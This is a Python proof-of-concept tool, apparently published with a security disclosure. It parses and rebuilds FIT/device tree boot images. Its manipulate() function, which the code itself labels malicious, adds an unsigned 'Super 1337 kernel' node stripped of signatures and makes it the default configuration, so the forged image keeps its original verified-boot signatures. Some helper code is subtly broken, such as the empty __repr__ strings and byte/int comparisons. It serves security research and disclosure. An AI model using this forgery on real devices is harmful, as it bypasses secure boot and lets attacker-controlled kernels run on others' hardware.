#!/usr/bin/python3 # SPDX-License-Identifier: GPL-2.0 # Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com # # pylint: disable=E1101,W0201,C0103 """ Verified boot image forgery tools and utilities This module provides services to both take apart and regenerate FIT images in a way that preserves all existing verified boot signatures, unless you manipulate nodes in the process. """ import struct import binascii from io import BytesIO # # struct parsing helpers # class BetterStructMeta(type): """ Preprocesses field definitions and creates a struct.Struct instance from them """ def __new__(cls, clsname, superclasses, attributedict): if clsname != 'BetterStruct': fields = attributedict['__fields__'] field_types = [_[0] for _ in fields] field_names = [_[1] for _ in fields if _[1] is not None] attributedict['__names__'] = field_names s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types)) attributedict['__struct__'] = s attributedict['size'] = s.size return type.__new__(cls, clsname, superclasses, attributedict) class BetterStruct(metaclass=BetterStructMeta): """ Base class for better structures """ def __init__(self): for t, n in self.__fields__: if 's' in t: setattr(self, n, '') elif t in ('Q', 'I', 'H', 'B'): setattr(self, n, 0) @classmethod def unpack_from(cls, buffer, offset=0): """ Unpack structure instance from a buffer """ fields = cls.__struct__.unpack_from(buffer, offset) instance = cls() for n, v in zip(cls.__names__, fields): setattr(instance, n, v) return instance def pack(self): """ Pack structure instance into bytes """ return self.__struct__.pack(*[getattr(self, n) for n in self.__names__]) def __str__(self): items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None] return '(' + ', '.join(items) + ')' # # some defs for flat DT data # class HeaderV17(BetterStruct): __endian__ = '>' __fields__ = [ ('I', 'magic'), ('I', 'totalsize'), ('I', 'off_dt_struct'), ('I', 'off_dt_strings'), ('I', 'off_mem_rsvmap'), ('I', 'version'), ('I', 'last_comp_version'), ('I', 'boot_cpuid_phys'), ('I', 'size_dt_strings'), ('I', 'size_dt_struct'), ] class RRHeader(BetterStruct): __endian__ = '>' __fields__ = [ ('Q', 'address'), ('Q', 'size'), ] class PropHeader(BetterStruct): __endian__ = '>' __fields__ = [ ('I', 'value_size'), ('I', 'name_offset'), ] # magical constants for DTB format OF_DT_HEADER = 0xd00dfeed OF_DT_BEGIN_NODE = 1 OF_DT_END_NODE = 2 OF_DT_PROP = 3 OF_DT_END = 9 class StringsBlock: """ Represents a parsed device tree string block """ def __init__(self, values=None): if values is None: self.values = [] else: self.values = values def __getitem__(self, at): if isinstance(at, str): offset = 0 for value in self.values: if value == at: break offset += len(value) + 1 else: self.values.append(at) return offset if isinstance(at, int): offset = 0 for value in self.values: if offset == at: return value offset += len(value) + 1 raise IndexError('no string found corresponding to the given offset') raise TypeError('only strings and integers are accepted') class Prop: """ Represents a parsed device tree property """ def __init__(self, name=None, value=None): self.name = name self.value = value def clone(self): return Prop(self.name, self.value) def __repr__(self): return "" % (self.name, repr(self.value)) class Node: """ Represents a parsed device tree node """ def __init__(self, name=None): self.name = name self.props = [] self.children = [] def clone(self): o = Node(self.name) o.props = [x.clone() for x in self.props] o.children = [x.clone() for x in self.children] return o def __getitem__(self, index): return self.children[index] def __repr__(self): return "" % (self.name, repr(self.props), repr(self.children)) # # flat DT to memory # def parse_strings(strings): """ Converts the bytes into a StringsBlock instance so it is convenient to work with """ strings = strings.split(b'\x00') return StringsBlock(strings) def parse_struct(stream): """ Parses DTB structure(s) into a Node or Prop instance """ tag = bytearray(stream.read(4))[3] if tag == OF_DT_BEGIN_NODE: name = b'' while b'\x00' not in name: name += stream.read(4) name = name.rstrip(b'\x00') node = Node(name) item = parse_struct(stream) while item is not None: if isinstance(item, Node): node.children.append(item) elif isinstance(item, Prop): node.props.append(item) item = parse_struct(stream) return node if tag == OF_DT_PROP: h = PropHeader.unpack_from(stream.read(PropHeader.size)) length = (h.value_size + 3) & (~3) value = stream.read(length)[:h.value_size] prop = Prop(h.name_offset, value) return prop if tag in (OF_DT_END_NODE, OF_DT_END): return None raise ValueError('unexpected tag value') def read_fdt(fp): """ Reads and parses the flattened device tree (or derivatives like FIT) """ header = HeaderV17.unpack_from(fp.read(HeaderV17.size)) if header.magic != OF_DT_HEADER: raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER)) # TODO: read/parse reserved regions fp.seek(header.off_dt_struct) structs = fp.read(header.size_dt_struct) fp.seek(header.off_dt_strings) strings = fp.read(header.size_dt_strings) strblock = parse_strings(strings) root = parse_struct(BytesIO(structs)) return root, strblock # # memory to flat DT # def compose_structs_r(item): """ Recursive part of composing Nodes and Props into a bytearray """ t = bytearray() if isinstance(item, Node): t.extend(struct.pack('>I', OF_DT_BEGIN_NODE)) if isinstance(item.name, str): item.name = bytes(item.name, 'utf-8') name = item.name + b'\x00' if len(name) & 3: name += b'\x00' * (4 - (len(name) & 3)) t.extend(name) for p in item.props: t.extend(compose_structs_r(p)) for c in item.children: t.extend(compose_structs_r(c)) t.extend(struct.pack('>I', OF_DT_END_NODE)) elif isinstance(item, Prop): t.extend(struct.pack('>I', OF_DT_PROP)) value = item.value h = PropHeader() h.name_offset = item.name if value: h.value_size = len(value) t.extend(h.pack()) if len(value) & 3: value += b'\x00' * (4 - (len(value) & 3)) t.extend(value) else: h.value_size = 0 t.extend(h.pack()) return t def compose_structs(root): """ Composes the parsed Nodes into a flat bytearray instance """ t = compose_structs_r(root) t.extend(struct.pack('>I', OF_DT_END)) return t def compose_strings(strblock): """ Composes the StringsBlock instance back into a bytearray instance """ b = bytearray() for s in strblock.values: b.extend(s) b.append(0) return bytes(b) def write_fdt(root, strblock, fp): """ Writes out a complete flattened device tree (or FIT) """ header = HeaderV17() header.magic = OF_DT_HEADER header.version = 17 header.last_comp_version = 16 fp.write(header.pack()) header.off_mem_rsvmap = fp.tell() fp.write(RRHeader().pack()) structs = compose_structs(root) header.off_dt_struct = fp.tell() header.size_dt_struct = len(structs) fp.write(structs) strings = compose_strings(strblock) header.off_dt_strings = fp.tell() header.size_dt_strings = len(strings) fp.write(strings) header.totalsize = fp.tell() fp.seek(0) fp.write(header.pack()) # # pretty printing / converting to DT source # def as_bytes(value): return ' '.join(["%02X" % x for x in value]) def prety_print_value(value): """ Formats a property value as appropriate depending on the guessed data type """ if not value: return '""' if value[-1] == b'\x00': printable = True for x in value[:-1]: x = ord(x) if x != 0 and (x < 0x20 or x > 0x7F): printable = False break if printable: value = value[:-1] return ', '.join('"' + x + '"' for x in value.split(b'\x00')) if len(value) > 0x80: return '[' + as_bytes(value[:0x80]) + ' ... ]' return '[' + as_bytes(value) + ']' def pretty_print_r(node, strblock, indent=0): """ Prints out a single node, recursing further for each of its children """ spaces = ' ' * indent print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/'))) for p in node.props: print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value)))) for c in node.children: pretty_print_r(c, strblock, indent+1) print((spaces + '};')) def pretty_print(node, strblock): """ Generates an almost-DTS formatted printout of the parsed device tree """ print('/dts-v1/;') pretty_print_r(node, strblock, 0) # # manipulating the DT structure # def manipulate(root, strblock): """ Maliciously manipulates the structure to create a crafted FIT file """ # locate /images/kernel-1 (frankly, it just expects it to be the first one) kernel_node = root[0][0] # clone it to save time filling all the properties fake_kernel = kernel_node.clone() # rename the node fake_kernel.name = b'kernel-2' # get rid of signatures/hashes fake_kernel.children = [] # NOTE: this simply replaces the first prop... either description or data # should be good for testing purposes fake_kernel.props[0].value = b'Super 1337 kernel\x00' # insert the new kernel node under /images root[0].children.append(fake_kernel) # modify the default configuration root[1].props[0].value = b'conf-2\x00' # clone the first (only?) configuration fake_conf = root[1][0].clone() # rename and change kernel and fdt properties to select the crafted kernel fake_conf.name = b'conf-2' fake_conf.props[0].value = b'kernel-2\x00' fake_conf.props[1].value = b'fdt-1\x00' # insert the new configuration under /configurations root[1].children.append(fake_conf) return root, strblock def main(argv): with open(argv[1], 'rb') as fp: root, strblock = read_fdt(fp) print("Before:") pretty_print(root, strblock) root, strblock = manipulate(root, strblock) print("After:") pretty_print(root, strblock) with open('blah', 'w+b') as fp: write_fdt(root, strblock, fp) if __name__ == '__main__': import sys main(sys.argv) # EOF